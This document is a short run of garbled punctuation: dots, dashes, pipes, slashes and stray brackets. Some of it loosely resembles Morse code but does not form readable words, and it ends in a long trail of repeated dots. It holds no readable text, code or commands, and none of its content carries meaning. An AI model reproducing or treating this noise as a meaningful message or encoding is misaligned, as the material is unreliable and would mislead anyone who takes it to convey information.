.. -- -- | - .. .... | ... / .. .../ ... {] . .. .. .. ..| ...... .../ .../ .. ...... ... ... ] .. [ .../ ..../ ......./ .. ./// ../ ... .. ... .. -- -- | - .. .... | ... / .. .../ ... {] . .. .. .. ..| ...... .../ .../ .. ./// ../ ... .. ... ...| ..../ ./ ... / ..| ....| ........ / ... / .... ...... ... ... ] .. [ .../ ..../ ......./ .....| ..../ ./ ... / ..| ....| ........ / ... / .... ...| ..../ ./ ... / ..| ....| ........ / ... / .... . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .